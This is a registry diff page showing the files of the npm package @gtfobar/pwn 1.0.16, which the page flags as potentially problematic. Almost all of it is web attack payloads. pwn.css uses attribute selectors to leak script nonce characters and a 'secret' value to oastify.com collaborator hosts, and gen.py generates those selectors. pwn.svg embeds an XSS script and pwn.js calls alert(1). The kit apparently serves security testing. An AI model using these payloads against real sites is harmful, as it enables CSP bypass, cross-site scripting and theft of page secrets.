@gtfobar/pwn 1.0.16

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.

This version of @gtfobar/pwn might be problematic. Click here for more details.

Files changed (7) hide show
  1. package/dist/black.css +3 -0
  2. package/dist/pwn.css +45 -0
  3. package/dist/pwn.html +6 -0
  4. package/dist/pwn.js +1 -0
  5. package/dist/pwn.svg +9 -0
  6. package/gen.py +7 -0
  7. package/package.json +11 -0
package/dist/black.css ADDED
@@ -0,0 +1,3 @@
1
+ body {
2
+ background-color: #000000;
3
+ }
package/dist/pwn.css ADDED
@@ -0,0 +1,45 @@
1
+ script[nonce=*a] { background: url(https://6krrfyr04pzh52nvox4zykjxkoqfe72w.oastify.com/nonce?a);}
2
+ script[nonce=*b] { background: url(https://6krrfyr04pzh52nvox4zykjxkoqfe72w.oastify.com/nonce?b);}
3
+ script[nonce=*c] { background: url(https://6krrfyr04pzh52nvox4zykjxkoqfe72w.oastify.com/nonce?c);}
4
+ script[nonce=*d] { background: url(https://6krrfyr04pzh52nvox4zykjxkoqfe72w.oastify.com/nonce?d);}
5
+ script[nonce=*e] { background: url(https://6krrfyr04pzh52nvox4zykjxkoqfe72w.oastify.com/nonce?e);}
6
+ script[nonce=*f] { background: url(https://6krrfyr04pzh52nvox4zykjxkoqfe72w.oastify.com/nonce?f);}
7
+ script[nonce=*g] { background: url(https://6krrfyr04pzh52nvox4zykjxkoqfe72w.oastify.com/nonce?g);}
8
+ script[nonce=*h] { background: url(https://6krrfyr04pzh52nvox4zykjxkoqfe72w.oastify.com/nonce?h);}
9
+ script[nonce=*i] { background: url(https://6krrfyr04pzh52nvox4zykjxkoqfe72w.oastify.com/nonce?i);}
10
+ script[nonce=*j] { background: url(https://6krrfyr04pzh52nvox4zykjxkoqfe72w.oastify.com/nonce?j);}
11
+ script[nonce=*k] { background: url(https://6krrfyr04pzh52nvox4zykjxkoqfe72w.oastify.com/nonce?k);}
12
+ script[nonce=*l] { background: url(https://6krrfyr04pzh52nvox4zykjxkoqfe72w.oastify.com/nonce?l);}
13
+ script[nonce=*m] { background: url(https://6krrfyr04pzh52nvox4zykjxkoqfe72w.oastify.com/nonce?m);}
14
+ script[nonce=*n] { background: url(https://6krrfyr04pzh52nvox4zykjxkoqfe72w.oastify.com/nonce?n);}
15
+ script[nonce=*o] { background: url(https://6krrfyr04pzh52nvox4zykjxkoqfe72w.oastify.com/nonce?o);}
16
+ script[nonce=*p] { background: url(https://6krrfyr04pzh52nvox4zykjxkoqfe72w.oastify.com/nonce?p);}
17
+ script[nonce=*q] { background: url(https://6krrfyr04pzh52nvox4zykjxkoqfe72w.oastify.com/nonce?q);}
18
+ script[nonce=*r] { background: url(https://6krrfyr04pzh52nvox4zykjxkoqfe72w.oastify.com/nonce?r);}
19
+ script[nonce=*s] { background: url(https://6krrfyr04pzh52nvox4zykjxkoqfe72w.oastify.com/nonce?s);}
20
+ script[nonce=*t] { background: url(https://6krrfyr04pzh52nvox4zykjxkoqfe72w.oastify.com/nonce?t);}
21
+ script[nonce=*u] { background: url(https://6krrfyr04pzh52nvox4zykjxkoqfe72w.oastify.com/nonce?u);}
22
+ script[nonce=*v] { background: url(https://6krrfyr04pzh52nvox4zykjxkoqfe72w.oastify.com/nonce?v);}
23
+ script[nonce=*w] { background: url(https://6krrfyr04pzh52nvox4zykjxkoqfe72w.oastify.com/nonce?w);}
24
+ script[nonce=*x] { background: url(https://6krrfyr04pzh52nvox4zykjxkoqfe72w.oastify.com/nonce?x);}
25
+ script[nonce=*y] { background: url(https://6krrfyr04pzh52nvox4zykjxkoqfe72w.oastify.com/nonce?y);}
26
+ script[nonce=*z] { background: url(https://6krrfyr04pzh52nvox4zykjxkoqfe72w.oastify.com/nonce?z);}
27
+ script[nonce=*0] { background: url(https://6krrfyr04pzh52nvox4zykjxkoqfe72w.oastify.com/nonce?0);}
28
+ script[nonce=*1] { background: url(https://6krrfyr04pzh52nvox4zykjxkoqfe72w.oastify.com/nonce?1);}
29
+ script[nonce=*2] { background: url(https://6krrfyr04pzh52nvox4zykjxkoqfe72w.oastify.com/nonce?2);}
30
+ script[nonce=*3] { background: url(https://6krrfyr04pzh52nvox4zykjxkoqfe72w.oastify.com/nonce?3);}
31
+ script[nonce=*4] { background: url(https://6krrfyr04pzh52nvox4zykjxkoqfe72w.oastify.com/nonce?4);}
32
+ script[nonce=*5] { background: url(https://6krrfyr04pzh52nvox4zykjxkoqfe72w.oastify.com/nonce?5);}
33
+ script[nonce=*6] { background: url(https://6krrfyr04pzh52nvox4zykjxkoqfe72w.oastify.com/nonce?6);}
34
+ script[nonce=*7] { background: url(https://6krrfyr04pzh52nvox4zykjxkoqfe72w.oastify.com/nonce?7);}
35
+ script[nonce=*8] { background: url(https://6krrfyr04pzh52nvox4zykjxkoqfe72w.oastify.com/nonce?8);}
36
+ script[nonce=*9] { background: url(https://6krrfyr04pzh52nvox4zykjxkoqfe72w.oastify.com/nonce?9);}
37
+
38
+ #title[secret=lalala]{
39
+ background: url(https://m7u72eegr5mxsiabbdrfl06d74dv1opd.oastify.com/?secret=lalala)
40
+ }
41
+
42
+ body {
43
+ background-image: url(https://m7u72eegr5mxsiabbdrfl06d74dv1opd.oastify.com/hello-from-css);
44
+ background-color: #000000;
45
+ }
package/dist/pwn.html ADDED
@@ -0,0 +1,6 @@
1
+ <html>
2
+ <head>
3
+ <link rel="stylesheet" href="pwn.css">
4
+ </head>
5
+ <body><div id="id">hello<div></body>
6
+ </html>
package/dist/pwn.js ADDED
@@ -0,0 +1 @@
1
+ alert(1)
package/dist/pwn.svg ADDED
@@ -0,0 +1,9 @@
1
+ <?xml version="1.0" standalone="no"?>
2
+ <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
3
+
4
+ <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
5
+ <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
6
+ <script type="text/javascript" nonce="you-are-pwned">
7
+ alert('xss');
8
+ </script>
9
+ </svg>
package/gen.py ADDED
@@ -0,0 +1,7 @@
1
+ import string
2
+
3
+ for i in string.ascii_lowercase:
4
+ print(f'script[nonce=*{i}] {{ background: url(https://6krrfyr04pzh52nvox4zykjxkoqfe72w.oastify.com/nonce?{i});}}')
5
+
6
+ for i in string.digits:
7
+ print(f'script[nonce=*{i}] {{ background: url(https://6krrfyr04pzh52nvox4zykjxkoqfe72w.oastify.com/nonce?{i});}}')
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "@gtfobar/pwn",
3
+ "version": "1.0.16",
4
+ "main": "dist/pwn.js",
5
+ "scripts": {
6
+ "test": "echo \"Error: no test specified\" && exit 1"
7
+ },
8
+ "author": "",
9
+ "license": "ISC",
10
+ "description": ""
11
+ }